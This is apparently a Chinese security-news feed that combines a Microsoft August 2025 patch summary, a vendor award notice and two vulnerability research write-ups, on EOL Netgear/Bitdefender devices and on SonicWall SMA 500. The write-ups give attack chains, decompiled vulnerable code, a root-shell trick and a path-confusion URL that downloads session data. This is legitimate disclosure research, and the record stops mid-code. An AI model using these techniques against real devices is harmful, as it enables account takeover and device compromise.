CVE-2025-50167：Windows Hyper-V 特权提升漏洞。在 Windows Hyper-V 中使用同步不正确的共享资源（“争用条件”）并发执行允许授权攻击者在本地提升权限。

CVE-2025-53147：WinSock 的 Windows 辅助功能驱动程序特权提升漏洞。在 Windows 中释放后使用 WinSock 的辅助函数驱动程序允许授权攻击者在本地提升权限，成功利用此漏洞需要攻击者赢得竞争条件。

CVE-2025-49743：Windows 图形组件特权提升漏洞。在 Microsoft 图形组件中使用同步不正确的共享资源（“争用条件”）并发执行允许授权攻击者在本地提升权限，具有权限的授权攻击者可以发送受控输入来利用此漏洞。

CVE-2025-53156：Windows 存储端口驱动程序信息泄露漏洞。将敏感信息暴露给存储端口驱动程序中的未经授权的参与者，允许授权攻击者在本地泄露信息，利用此漏洞可能会泄露某些内核内存内容。

CVSS 3.1 Base Score高评分漏洞

CVE-2025-50165：Windows 图形组件远程执行代码漏洞，被标记为严重（Critical）漏洞。Microsoft 图形组件中的不受信任的指针取消引用允许未经授权的攻击者通过网络执行代码，攻击者可以在解码 JPEG 图像时调用未初始化的函数指针嵌入到 Office 和第三方文档/文件中，在无需用户交互的情况下实现远程代码执行。

CVE-2025-53766：GDI 远程执行代码漏洞，被标记为严重（Critical）漏洞。Windows GDI+ 中基于堆的缓冲区溢出允许未经授权的攻击者在本地或通过网络执行代码。攻击者可以通过诱使受害者下载并打开包含特制元文件的文档来触发此漏洞。在最坏的情况下，攻击者不需要对托管 Web 服务的系统拥有任何特权，通过上传包含特制元文件（AV:N）的文档来触发 Web 服务上的此漏洞，且无需受害用户参与即可触发。

CVE-2025-50171：远程桌面欺骗漏洞。远程桌面服务器中缺少授权允许未经授权的攻击者通过网络执行欺骗。

CVE-2025-53767：Azure OpenAI 特权提升漏洞，被标记为严重（Critical）漏洞。Microsoft 已经完全缓解了这一漏洞，用户无需采取任何操作。

严重（Critical）漏洞

CVE-2025-53731：Microsoft Office 远程执行代码漏洞。在 Microsoft Office 中释放后使用允许未经授权的攻击者在本地执行代码，预览窗格是该漏洞的攻击途径。

CVE-2025-53733：Microsoft Word 远程执行代码漏洞。Microsoft Office Word 中数字类型之间的错误转换允许未经授权的攻击者在本地执行代码，预览窗格是该漏洞的攻击途径。

CVE-2025-53740：Microsoft Office 远程执行代码漏洞。在 Microsoft Office 中释放后使用允许未经授权的攻击者在本地执行代码，预览窗格是该漏洞的攻击途径。

CVE-2025-53784：Microsoft Word 远程执行代码漏洞。在 Microsoft Office Word 中释放后使用允许未经授权的攻击者在本地执行代码，预览窗格是该漏洞的攻击途径。

CVE-2025-53787：Microsoft 365 Copilot BizChat 信息泄露漏洞。Microsoft 已经完全缓解了这一漏洞，用户无需采取任何操作。

CVE-2025-50176：DirectX 图形内核远程代码执行漏洞。在图形内核中使用不兼容类型（“类型混淆”）访问资源允许授权攻击者在本地执行代码。所有经过身份验证的攻击者皆可触发此漏洞，不需要管理员或其他提升权限。

CVE-2025-53781：Azure 虚拟机信息泄露漏洞。将敏感信息公开给 Azure 虚拟机中未经授权的参与者，授权攻击者可以通过网络泄露信息。Microsoft 已经完全缓解了这一漏洞，用户无需采取任何操作。

CVE-2025-48807：Windows Hyper-V 远程执行代码漏洞。在 Windows Hyper-V 中，对预期终结点的通信通道限制不当，允许授权攻击者在本地执行代码。

CVE-2025-53793：Azure Stack Hub 信息泄露漏洞。Azure Stack 中的身份验证不当允许未经授权的攻击者通过网络泄露信息，该漏洞可能会泄露部署 API 和系统内部配置。

CVE-2025-53774：Microsoft 365 Copilot BizChat 信息泄露漏洞。Microsoft 已经完全缓解了这一漏洞，用户无需采取任何操作。

处置建议

根据微软官方指引，尽快下载安装补丁包进行修复，也可开启Windows自动更新保证补丁包的自动安装。

Microsoft 2025年8月安全更新指引：https://msrc.microsoft.com/update-guide/releaseNote/2025-Aug。

阅读原文

跳转微信打开

山石网科勇夺香港网络攻防大赛三项殊荣-以攻防实战赋能香港数字未来

Tue, 12 Aug 2025 14:18:00 +0800

2025-08-12 14:18 江苏

NEURON战队成功斩获专业组银奖（网安企业第一）、专业组最佳防守队伍奖等三项荣誉

山石荣誉

2025年7月31日，由香港互联网注册管理有限公司（HKIRC）联同数字政策办公室（DPO）及香港警务处网络安全及科技罪案调查科（CSTCB）合办的「网络攻防精英培训暨攻防大赛 2025」圆满结束，今年活动吸引逾1,400名业界精英及学生参与，参与人数相较去年倍增，反映对网络安全的高度关注及人才培育的积极投入。

山石网科受邀派出安全技术研究院NEURON战队核心成员组队出战，凭借扎实的安全研究功底与丰富的实战经验，在三小时内，完成了赛事主办方给定的六个题目环境的漏洞挖掘及修复任务，在众多参赛精英中脱颖而出，最终成功斩获专业组银奖（网安企业第一）、专业组最佳防守队伍奖和公开组铜奖等三项荣誉。这场赛事不仅检验了我们的网络攻防能力，更坚定了我们服务香港网络安全的使命，为香港构建更具韧性的网络安全防线。

网络安全是数字时代的基石，也是建设智慧香港的关键支柱，网络安全的紧迫性正日益凸显，据香港电脑保安事故协调中心（HKCERT）统计，2025年上半年香港网络钓鱼攻击达30,674宗，同比激增108%，而近七成企业曾遭受网络攻击。

展望未来，随着《保护关键基础设施(电脑系统)条例》和《稳定币条例》等法规的正式实施，香港网络将面临严峻的安全挑战和更大的需求空间。山石网科持续推出高质量的安全产品与技术服务，深耕拓展香港安全市场，聚焦政府和企业网络安全加固，提供经济高效的网络安全解决方案，帮助客户建立主动防御体系，提升整体安全防护能力，守护香港的数智未来。

阅读原文

跳转微信打开

发现废弃硬件中的0Day漏洞

Mon, 11 Aug 2025 14:51:00 +0800

Lxton 2025-08-11 14:51 北京

当UPnP变‘后门通道’，固件降级成‘致命武器’——废弃设备的隐秘漏洞链正在吞噬你的安全！

在万物互联的时代，智能设备的安全生命周期却远比想象中短暂。当厂商终止支持，这些被遗忘的"电子化石"中冻结的未修补漏洞，正悄然构筑攻击者的入侵通道。本文[1]深度揭秘对Netgear WGR614v9路由器与Bitdefender Box安全设备的链式攻破。

一、引言

我们在 2 月份的 DistrictCon 首届 Junkyard 大赛中成功攻破了两台已停产的网络设备，并获得了最具创新性利用技术奖的亚军。这次经历不仅展示了我们的研究成果，也揭示了生命周期终止（EOL）硬件所带来的持续性安全风险：一旦厂商停止提供更新，系统中未修补的漏洞就像被时间凝固的化石，为攻击者提供了可乘之机。

我们攻破的两款设备，分别是Netgear WGR614v9 [2]路由器和 BitDefender Box V1[3]，它们曾是广泛部署的家庭网络防护产品。但由于两者都已经多年没有更新，我们得以在局域网内对其进行完整远程入侵。

随着第二届 DistrictCon Junkyard 大赛宣布将于 2026 年初举行，我们想分享我们在第一届比赛中的技术经验与研究细节。我们的完整分析可在 Trail of Bits 漏洞利用存储库[4]中找到，以供对完整技术细节感兴趣的读者使用。

我们首先开发了三种攻击方法（详见视频 1、2 和 3），通过串联 Netgear 路由器 UPnP 守护进程中的多个局域网侧漏洞实现攻击，包括身份验证绕过、缓冲区溢出和命令注入，最终成功获取远程 root shell。随后，我们通过利用 Bitdefender Box 的局域网侧未经认证的固件降级漏洞，结合固件验证过程中的命令注入，同样获得了远程 root shell。

二、设备分析和固件提取

针对 Netgear 设备，我们对其进行了拆解并确定了调试接口、数据存储芯片和 SOC。由于 Netgear 提供了在线固件，我们无需自行提取。我们使用 binwalk 和 unblob 递归解压固件，通过端口扫描定位其关键网络服务，并接入串口控制台，收集运行进程、LAN 服务、CPU 规格、内核版本及已启用的安全机制信息。初期分析集中于 httpd，随后重点转向 upnpd 守护进程。

对于 Bitdefender Box V1，我们找到了串口接口，但发现 shell 被锁定。我们通过 SPI 闪存芯片成功提取了固件，并尝试通过逆向更新机制来获取最新版本，但固件更新服务器已无法访问。最终我们在 APK 镜像网站上爬取了多个安装包（固件嵌入在APK中），找到了我们认为是最新版的固件。在设备无法直接运行 shell 的情况下，我们使用 QEMU 用户态模拟在本地对其 httpd 二进制文件进行了动态测试。

三、利用 Netgear 路由器的 UPnP 漏洞

Netgear WGR614v9 路由器运行基于 MIPS32 的系统，具有多种网络服务。连接到其 UART 接口（在板上公开为“JP1”的串行调试端口）后，我们在设备启动过程中获得了底层访问权限。

图注：Netgear WGR614v9 路由器板

我们重点分析了通用即插即用（UPnP）守护程序：该服务允许通过 SOAP（基于 XML 的远程控制协议）来配置路由器，由于其复杂的解析要求和高权限访问，使其成为攻击的理想目标。

完成分析后，我们的利用链利用了四个漏洞，包括SOAP 消息处理流程中的一个认证绕过漏洞（可用于重置密码），BSS段和堆栈内存区域三个缓冲区溢出漏洞。

在我们的第一个漏洞利用“bashsledding”中，我们展示了经典nop sled技术的变体。在发现两个可以调用“system”的 ROP gadget后，我们通过路由器的域名拦截功能将 shell 命令载荷注入NVRAM，NVRAM存储区内存将映射到所有进程中。并且通过在命令之前添加空格序列（作为我们的“nop”指令），无论确切的着陆位置如何，bash 解释器都会无害地处理空格，直到解析到我们的命令，从而构造一个有效shell语法的“sled”。

另一个漏洞利用“bigfish_littlepond”中，巧妙地将有限的内存破坏漏洞升级为命令注入攻击。通过BSS段溢出来篡改相邻的shell命令字符串指针。鉴于 upnpd进程中存在“bpa_monitor”字符串，并且该二进制文件中存在可利用的命令注入漏洞，我们将该指针篡改为触发执行bpa_monitor程序。随后，发送一个包含注入 payload 的额外请求，即可实现完整的代码执行。

您可以在 GitHub [5]上找到完整的漏洞利用代码和文章，以及 bashsledding[6]、break_block_bof（我们的第二个漏洞，此处未提及）[7]和 bigfish_littlepond [8]视频。

四、利用旧版固件攻破 Bitdefender Box

Bitdefender Box v1 堪称一个具有讽刺意味的目标：这款旨在保护家庭网络免受威胁的安全设备，却在 2021 年 7 月停止了支持。该产品诞生于 2017 年左右，正值杀毒厂商纷纷进军硬件安全设备市场，并搭配订阅模式提供服务的时期。

图注：拆下射频屏蔽的Bitdefender Box v1

该设备通过将自身插入网络路径，重写 DHCP 配置，并将流量重定向至自身代理进行威胁扫描来实现安全防护。然而，尽管其定位为安全产品，我们却发现其固件更新机制竟完全不需要身份认证。

我们的硬件分析显示目标设备采用华邦W25Q128FV SPI NOR闪存芯片，我们使用带有 XGecu T48 编程器的 SOP8 夹来提取固件。进一步的固件分析显示，系统运行的是一个基于 Lua 的 Web 服务器，且暴露了多个供移动端 App 使用的 HTTP 接口。

我们构建的漏洞利用链使用了以下接口：

1. /update_auth_token接口：此接口具有副作用，会清除那些阻止固件更新的配置文件

2. /upload_backup_firmware 接口：用于上传Base64编码格式的固件镜像

3. /decode_image接口：解码并验证固件基本结构完整性

4. /check_image_and_trigger_recovery 接口：其md5参数存在漏洞，可触发未授权恢复流程

虽然该设备确实使用 RSA 公钥对固件更新进行签名验证，但我们发现 Bitdefender 曾在其移动应用 APK 中内嵌了旧版固件镜像。通过在VirusTotal平台上找到的一个旧版本APK（版本号 1.3.12.869），我们提取到了固件版本 1.3.11.490 并确认其签名仍然有效。

将该旧版固件与新版进行差异比较后，我们在md5参数中发现了一个基本的命令注入漏洞：这是一个典型的字符串插值未做适当过滤所引发的问题。新版固件引入了参数验证函数，可以过滤分号、引号、管道和括号等高风险字符，而旧版固件中则完全缺乏此类防护。

通过将设备降级到存在这个漏洞的旧版固件，并利用该命令注入点，我们将 SSH 公钥添加到设备的authorized_keys文件中，从而获得对整个系统的持久访问权限。

仅仅对固件更新进行校验和和签名验证远远不够。如果缺乏强大的版本校验机制和身份验证流程，仅依赖加密签名是无法阻止固件降级攻击的。

完整的漏洞利用代码和技术说明可在 GitHub 上查看，演示视频可在 YouTube 上观看。

五、竞赛之外的安全启示

我们已经在期待下一届 Junkyard 大赛的到来了！与此同时，也请将此研究成果视为一个提醒：请及时检查你当前使用的智能设备是否已停止厂商支持；如果是，应格外谨慎使用；在选购新设备时，务必了解厂商的支持年限，并优先考虑具备开源固件替代方案的产品。

我们此次发现的漏洞，反映出 IoT 安全中一些更广泛的问题模式。比如 UPnP 的实现缺陷不仅存在于 Netgear 路由器中，在其他厂商与设备中同样可能广泛存在。类似 Bitdefender Box 所体现的固件降级漏洞，也揭示了那些看似安全的更新机制，往往缺少关键的防护措施，如版本降级的限制。

如果你手头有已停止支持的设备，并不一定非要立即淘汰，但你确实应该认真评估继续使用该设备所带来的安全风险。对于普通消费者而言，安全性不应仅仅关注设备的功能，还应重视整个生命周期内厂商的支持承诺以及社区提供的固件选项。

对于安全研究人员而言，EOL 设备不仅是极佳的学习平台，同时也可能是网络中容易被忽视的潜在漏洞来源。Junkyard 大赛正是将这类设备带入聚光灯下的绝佳场所，在这里可以深入了解厂商是如何淘汰旧技术的。相比 Pwn2Own 等高门槛、高压力的赛事，Junkyard 的门槛更低、氛围更友好，是广大研究者提升实战能力的理想起点。

六、选择目标

在为 Junkyard 此类竞赛进行研究时，选对目标设备至关重要。挑选标准其实非常清晰：目标必须是不再受厂商支持的 EOL 设备，并且价格要足够低廉，以便一次购买多台设备备用。在硬件相关攻击中，备用机尤为重要：二手设备可能预装不同版本固件，硬件状况可能参差不齐，或者你在拆解或测试过程中损坏了设备（我们也确实遇到过这些情况）。

我们更倾向于选择那些在不耗费数月逆向工程的前提下就可能存在漏洞的设备。调试接口不是强制要求，但如果有将极大地提高分析效率。更关键的是能否获取设备固件：有些厂商在官网提供固件下载，而有些则必须通过硬件手段提取。SPI 闪存芯片相对容易操作，而从 eMMC 中提取固件则需要更专业的工具。

在购买设备之前，务必做好前期调研工作：查看厂商官网是否有固件下载，搜索是否已有相关安全研究，并参考 FCC（美国联邦通信委员会）备案信息，以大致了解设备内部结构与接口布局。

[2]https://www.netgear.com/support/product/wgr614v9/

[3]https://www.bitdefender.com/consumer/support/answer/2469/

[4]https://github.com/trailofbits/exploits

[5]https://github.com/trailofbits/exploits/tree/main/junkyard-2025-cloudy-wrench

[6]https://youtu.be/72oRI1A8lmI

[7]https://youtu.be/6SdZTfq4yjA

阅读原文

跳转微信打开

SonicWall SMA 500设备漏洞深度剖析

Fri, 08 Aug 2025 16:13:00 +0800

原创 kw17 2025-08-08 16:13 江苏

SonicWall SMA 500设备被爆多个高危漏洞，从未授权访问到任意代码执行，安全防线瞬间崩塌！

在当今网络安全领域，SSL VPN设备的安全性一直是研究热点。然而，近期对SonicWall SMA 500系列设备的深入研究揭示了多个严重漏洞，这些漏洞不仅可能被攻击者利用来绕过身份验证，还可能导致任意代码执行和权限提升。本文将详细剖析这些漏洞的发现过程、利用方法以及修复进展，揭示隐藏在这些设备背后的潜在安全风险。

一、研究背景及动机

在尝试比较不同VPN供应商的安全性时，研究人员常常会陷入对各类漏洞的深入挖掘。近年来，商用级SSL VPN设备频频曝出安全漏洞，这一趋势促使作者开始思考这些设备是否真的比其他网络设备更能保障用户的安全。

此次研究聚焦于SonicWall的SMA 500系列设备，测试版本为10.2.1.13-72sv。相较于市面上更受关注的其他品牌，SonicWall的产品似乎并不那么流行，因而受到新漏洞影响的频率也相对较低。然而，从系统整体的代码表现来看，仍存在潜在安全隐患，漏洞可能隐藏在某个尚未被注意的角落。

接下来将详细介绍作者在逆向分析SonicWall SMA 500设备固件过程中发现的多个安全漏洞，包括未授权访问、任意命令执行与权限提升等问题。

二、固件提取与初始访问

如前文所述，SonicWall官网提供了SMA虚拟设备的试用版本，便于研究人员获取固件并搭建测试环境。本文使用的版本为10.2.1.13-72sv，在测试时是该系列的最新版。

设备启动后，通过端口扫描发现仅开放80与443端口，CLI接口可通过虚拟机控制台访问，但不提供直接的Shell。

图注：SonicWall的Web界面

图注:SonicWall的命令行界面

为获取系统访问权限，作者采用了一种技巧，具体步骤大致如下：

1.找出命令行界面（CLI）中可能调用操作系统命令的命令

2.暂停虚拟机

3.在虚拟机保存的内存文件中搜索与操作系统命令相关的字符串

4.将目标命令替换成另一个命令（比如bash），同时保持内存中字符串长度不变

5.恢复虚拟机运行

6.调用被“投毒”的CLI命令

在这个具体案例中，作者针对了“重启SSL VPN服务”这个CL 命令，该命令本应调用/usr/src/EasyAccess/bin/EasyAccessCtrl restart。作者把这个字符串替换成了////////////////////////////////////bin/bash，然后恢复虚拟机，调用这个命令后，就获得了root shell。

图注：第一个目标实现

三、深入系统分析与监听端口探测

获取访问权限后，作者开始对设备内部进行分析，重点寻找可能监听网络连接的服务。运行以下命令查看监听的端口和进程：

bash-4.2$ netstat -laputen | grep LISTEN
tcp    0      0 127.0.0.1:12345      0.0.0.0:*      LISTEN      0          1303574
tcp6   0      0 :::80                :::*           LISTEN      0          898
tcp6   0      0 :::443               :::*           LISTEN      0          902

从结果看，只有两个进程在接受连接，其中一个是Apache，另一个是使用Flask框架的Python API，使用以下命令运行：

python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py

由于只有Apache接受远程连接，作者花了一些时间分析它的配置，并最终对其设置方式有了以下了解。

图注:Apache 简化概述

四、路径混淆漏洞详解

在检查Apache的配置时，作者发现它容易受到路径混淆问题的攻击，该问题由Orange Tsai在去年的Blackhat大会上提出。本质上，在某些情况下，可以诱骗Apache显示位于Web根目录之外的文件。

在SonicWall SMA设备中，Apache版本及配置满足该漏洞的利用条件，关键配置行如下：

RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$      /$1.css

通过发送以下两个请求，并比较响应内容是否一致，可以验证漏洞是否存在：

尽管部分请求被系统的其他安全措施阻止，尤其是以某些前缀开头的URL，但该漏洞依然能用来访问大部分敏感文件，这些文件通常存放在/etc/、/tmp/和/usr/src/EasyAccess目录下。

特别值得关注的是位于/tmp/temp.db的SQLite数据库文件，它保存了所有登录用户的会话标识符。这意味着攻击者只需等待用户登录，即可接管任意用户账户。

例如，作者利用如下路径访问该数据库：

https://TARGET/tmp/temp.db%3f10.1.2.13-72sv.css

图注：下载SQLite数据库

尽管这是一次重要发现，但作者的主要研究目标是内存破坏漏洞和防护机制的分析。因此，作者进一步检查了Web服务器暴露的各种CGI程序。

五、CGI程序安全检查与内存漏洞挖掘

使用checksec工具检查发现，虽然系统启用了部分安全保护（如NX、Canary等），但缺少PIE（Position Independent Executable），且多数二进制文件未进行充分加固。

图注：一些CGI文件的Checksec输出

作者重点关注潜在的危险函数调用，如strcpy、sprintf等。基于Ghidra API，作者编写了自动化脚本，识别二进制文件中的这些函数，并结合脚本分析它们之间的关联，从而梳理出系统中易受攻击的模块。这导致发现了许多内存损坏问题，例如下面显示的来自sonicfilesCGI的问题，其中最多为字节的用户输入0x400被复制到仅为字节的堆上的内存位置0x80。

  pcVar3 = (char *)MEM_MALLOC(0x80); // Allocate buffer of 0x80 bytes
  Arg1 = (char *)malloc(0x400);
  m_overflowed = (char *)MEM_MALLOC(0x180);
  pvVar4 = malloc(0xffff);
if (pvVar4 == (void *)0x0) {
    iVar5 = -1;
    iVar15 = local_54;
    goto LAB_08052cd7;
  }
  iVar5 = gcgiFetchString("Arg1",Arg1,0x400); // Get up to 0x400 bytes from the Arg1 parameter
  bVar18 = iVar5 == 0;
  iVar5 = -1;
  iVar15 = local_54;
if (!bVar18) goto LAB_08052cd7;
  iVar5 = 3;
  pcVar11 = Arg1;
  m_pwned2 = "ftp";
do {
    if (iVar5 == 0) break;
    iVar5 = iVar5 + -1;
    bVar18 = *pcVar11 == *m_pwned2;
    pcVar11 = pcVar11 + (uint)bVar19 * -2 + 1;
    m_pwned2 = m_pwned2 + (uint)bVar19 * -2 + 1;
  } while (bVar18);
if (!bVar18) {
    iVar5 = 4;
    pcVar11 = Arg1;
    m_pwned2 = "sftp";
    do {
      if (iVar5 == 0) break;
      iVar5 = iVar5 + -1;
      bVar18 = *pcVar11 == *m_pwned2;
      pcVar11 = pcVar11 + (uint)bVar19 * -2 + 1;
      m_pwned2 = m_pwned2 + (uint)bVar19 * -2 + 1;
    } while (bVar18);
    if (!bVar18) {
      iVar6 = strncmp(Arg1,"smb",3); // Check that Arg1 starts with smb
      iVar5 = local_54;
      iVar15 = local_54;
      if (iVar6 == 0) {
        pcVar11 = (char *)__strdup(Arg1);
        m_pwned2 = strrchr(pcVar11,0x3a);
        iVar5 = 6;
        if (4 < (int)m_pwned2 - (int)pcVar11) {
          m_pwned2 = strchr(pcVar11,0x40);
          if (-1 < (int)m_pwned2 - (int)pcVar11) {
            iVar5 = ((int)m_pwned2 - (int)pcVar11) + 1;
          }
        }
        m_pwned = pcVar11 + iVar5; // skip through some of the smb URI
        m_pwned2 = strchr(m_pwned,0x2f); // find trailing slash
        if ((int)m_pwned2 - (int)m_pwned < 0) { // as long as we don't just have a slash
          strcpy(pcVar3,m_pwned); // copy input into small buffer
        }
        else {
          strncpy(pcVar3,m_pwned,(int)m_pwned2 - (int)m_pwned);
        }

这是简单的堆溢出漏洞之一。考虑到堆漏洞的利用复杂性，以及该漏洞只能在身份验证后访问，作者并未花费太多时间去尝试利用它。

此外，作者还发现了多个基于栈的缓冲区溢出漏洞。其中一个存在于cifsnavigateCGI，且无需身份验证即可访问，这为后续漏洞利用提供了更大可能性。

undefined4 main(void)
{
// [...]
  undefined local_694 [1024];
  undefined local_294 [640]; // locally defined buffer of 640 bytes
int canary;
  bVar5 = 0;
  canary = *(int *)(in_GS_OFFSET + 0x14);
  gcgiSetLimits(0x100000,0);
  iVar2 = initCgi();
  uVar4 = 0xffffffff;
if (iVar2 < 0) goto LAB_08048a1b;
  fwrite("Content-Type: Text/HTML\n\n",1,0x19,gcgiOut);
  iVar2 = gcgiFetchString("cifsaddress",cifsaddress,0x400); // Get up to 0x400 bytes of the cifsaddress URL parameter
if (iVar2 == 0) {
    gcgiDecodeUrlEncodedString(cifsaddress,&decodedaddress,local_1e9c);
    if ((*decodedaddress == '\\') && (decodedaddress[1] == '\\')) {
      initClientApi();
      cspInit();
      local_1e95 = '\0';
      server = (char *)__strdup(decodedaddress + 2);
      server = strtok(server,"\\");
      decoded_share = strtok((char *)0x0,"\\");
      decoded_cwd = strtok((char *)0x0,&local_1e95);
      if ((decoded_share != (char *)0x0) ||
         ((server == (char *)0x0 || (decoded_cwd != (char *)0x0)))) {
        if ((decoded_share == (char *)0x0) || (server == (char *)0x0)) goto LAB_08048a05;
        if (decoded_cwd == (char *)0x0) {
          gcgiEncodeUrlString(decoded_share,local_1ea4,local_1e9c);
          javaScriptDoubleEscapeSpecial(local_294,decoded_share,0); // double escape special share name into small buffer
          urlEncodeUnicodeString(local_294,&share,local_1e9c);
          __sprintf_chk(local_694,1,0x400,"/cgi-bin/explorerlist?SERVER=%s&SHARE=%s",server,share);
        }
        // [...]

在这种情况下，输入缓冲区被传递给一个编码函数，该函数可以将缓冲区的长度增加五倍，如下所示(代码来自libSys.so)

void javaScriptDoubleEscapeSpecial(undefined4 *param_1,char *param_2,int param_3)
{
char cVar1;
if (param_2 == (char *)0x0) {
LAB_000fbfa8:
    *(undefined *)param_1 = 0;
    return;
  }
  cVar1 = *param_2;
joined_r0x000fbf56:
if (cVar1 != '\0') {
    do {
      switch(cVar1) {
      case'\"':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x32;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'#':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x33;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      default:
        *(char *)param_1 = cVar1;
        param_1 = (undefined4 *)((int)param_1 + 1);
        break;
      case'%':
        if (param_3 == 0) {
          *(undefined2 *)param_1 = 0x3225;
          *(undefined *)((int)param_1 + 2) = 0x35;
          param_1 = (undefined4 *)((int)param_1 + 3);
        }
        else {
          *param_1 = 0x32353225;
          *(undefined *)(param_1 + 1) = 0x35;
          param_1 = (undefined4 *)((int)param_1 + 5);
        }
        break;
      case'&':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x36;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'\'':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x37;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'+':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x42;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'.':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x45;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case';':
        *param_1 = 0x33353225;
        *(undefined *)(param_1 + 1) = 0x42;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'<':
        *param_1 = 0x33353225;
        *(undefined *)(param_1 + 1) = 0x43;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case'>':
        goto code_r0x000fbf90;
      }
      param_2 = param_2 + 1;
      cVar1 = *param_2;
      if (cVar1 == '\0') break;
    } while( true );
  }
goto LAB_000fbfa8;
code_r0x000fbf90:
  param_2 = param_2 + 1;
  *param_1 = 0x33353225;
  *(undefined *)(param_1 + 1) = 0x45;
  cVar1 = *param_2;
  param_1 = (undefined4 *)((int)param_1 + 5);
goto joined_r0x000fbf56;

调用函数通常应当确保目标缓冲区足够大以容纳结果，但现实中这一检查往往被忽视。

从exploitation的角度来看，若想实现任意代码执行（code execution），必须绕过stack canary机制。尽管该canary值仅为32-bit，理论上可以通过暴力破解的方式猜出其值，但其中一个字节是空字节(null byte)的事实使得攻击复杂度上升。因为作者所发现的所有基于栈的漏洞都是通过如strcpy这类函数造成的，而它们在遇到第一个空字节时会自动终止复制，从而难以完成精确覆盖。

为了成功绕过canary，攻击者需要进行多次精确的堆栈覆盖（multi-stage overwrite）：先覆盖canary的高位，再插入正确的null byte到指定偏移位置。如下所示的方法理论上是可行的，但因为它本身就要求具备管理员权限，所以作者并未进一步深入尝试该利用路径：

uVar34 = domainGetDomainId(iVar4);
uVar21 = dbhGet(1);
uVar21 = domainADFindByDomainId(uVar21,uVar34);
uVar5 = domainADGetServer(uVar21);
javaScriptStrEncode(local_517,uVar5); // overwrite 1
__fprintf_chk(gcgiOut,1,"NELaunchX1.authServer = \"%s\";\n",local_517);
uVar5 = domainADGetAdRealm(uVar21);
javaScriptStrEncode(local_517,uVar5); // overwrite 2
__fprintf_chk(gcgiOut,1,"NELaunchX1.ntDomainName = \"%s\";\n",local_517);
uVar5 = sessionGetScriptPath(local_9a4);
javaScriptStrEncode(local_517,uVar5); // overwrite 3
__fprintf_chk(gcgiOut,1,"NELaunchX1.logonScript = \"%s\";\n",local_517);
domainADFree(uVar21);

六、内存破坏漏洞深入剖析

进一步的研究发现了另一个内存破坏漏洞，该漏洞出现在服务器处理来自后端服务器的NTLM响应头时。在这种情况下，使用了apr_base64_decode函数进行解码，而该函数确实允许写入任意的空字节（null bytes）。理论上，调用者应确保目标缓冲区足够大以容纳解码后的数据，但在mod_httprp.so中的这段代码中，没有进行此类检查，导致了潜在的堆栈或堆内存溢出问题，代码如下:

size_t httprp_ntlm_get_type3_auth(
    char *param_1, char *param_2, uint *decoded_basic_sent_from_client, char *param_4
)
{
int iVar1;
char *pcVar2;
bool bVar3;
char *pcVar4;
size_t sVar5;
  uint *__dest;
  uint uVar6;
  uint uVar7;
int iVar8;
void *__ptr;
  uint *puVar9;
  uint *puVar10;
int iVar11;
size_t sVar12;
int in_GS_OFFSET;
bool bVar13;
  undefined local_898 [1088];
int local_458;
  undefined local_454 [1076]; // static buffer size
int local_20;
  undefined4 uStack_14;
  sVar12 = 0;
  uStack_14 = 0x46a5b;
  local_20 = *(int *)(in_GS_OFFSET + 0x14);
  pcVar4 = strstr(param_2,"NTLM "); // param 2 is the HTTP Authorization response header
if (pcVar4 != (char *)0x0) {
    apr_base64_decode(local_454,pcVar4 + 5); // decode the header without checking the size
    sVar12 = strlen((char *)decoded_basic_sent_from_client);
    sVar5 = strlen(param_4);
    __dest = (uint *)malloc(sVar12 + 1);
    bVar13 = false;
    bVar3 = false;
    if (__dest != (uint *)0x0) {
      pcVar4 = strchr((char *)decoded_basic_sent_from_client,0x5c);
      bVar13 = true;
      if (pcVar4 != (char *)0x0) {
        *(undefined *)__dest = 0;
        strncat((char *)__dest,pcVar4 + 1,
                (int)decoded_basic_sent_from_client + ((sVar12 - 1) - (int)pcVar4));
        puVar10 = __dest;
// [...]

在整个研究过程中产生了多次崩溃之后，作者最终发现Apache日志文件可以方便地记录崩溃详细信息，包括具有各个内存位置的堆栈跟踪。

图注：恢复Apache日志文件

如上所示，日志文件可以通过前文所描述的路径混淆（path confusion）漏洞进行恢复，这使得以下漏洞利用路径成为可能：

1.通过任意的内存破坏（memory corruption）触发一次崩溃；

2.利用路径混淆下载/tmp/temp.db，以获取一个有效的会话标识符（session identifier）；

3.从日志文件中的堆栈回溯（stack trace）中提取libc基址；

4.构造一个合适的ROP（Return-Oriented Programming）链；

5.启动一个伪造的Web服务器，用于在被访问时提供精心构造的NTLM响应负载；

6.发送请求给目标SonicWall设备，诱导其连接到伪造服务器；

7.触发漏洞利用，同时进行stack canary暴力破解；

虽然本次研究的主要聚焦点是内存损坏漏洞，但作者也对设备的认证流程进行了初步分析——尽管在发现可以通过路径混淆基本绕过身份验证之后，这一部分的重要性有所降低。

七、认证机制相关安全漏洞分析

在该过程中，作者识别出两个与多因素认证（Multi-Factor Authentication，MFA）相关的安全漏洞。虽然这些问题尚不足以完全绕过身份验证（仍需提供有效密码），但作者认为它们依然具有一定的安全研究价值，值得一提。

第一个漏洞出现在设备生成一次性密码（OTP）备份码的功能中，相关部分代码如下所示：

  puVar10 = local_99;
  uVar7 = time((time_t *)0x0); // Get the current time
  srand(uVar7); // Init the PRNG
  local_2ac = 0;
do {
    iVar8 = 0;
    do {
      iVar2 = rand(); // Get pseudo-random value
      puVar10[iVar8] = (&DAT_080495e0)[iVar2 % 0x3e];
      iVar8 = iVar8 + 1;
    } while (iVar8 != 8);
    uVar3 = backupCode_SHA1_string(local_99 + local_2ac,8,local_49);
    uVar3 = cJSON_CreateString(uVar3);
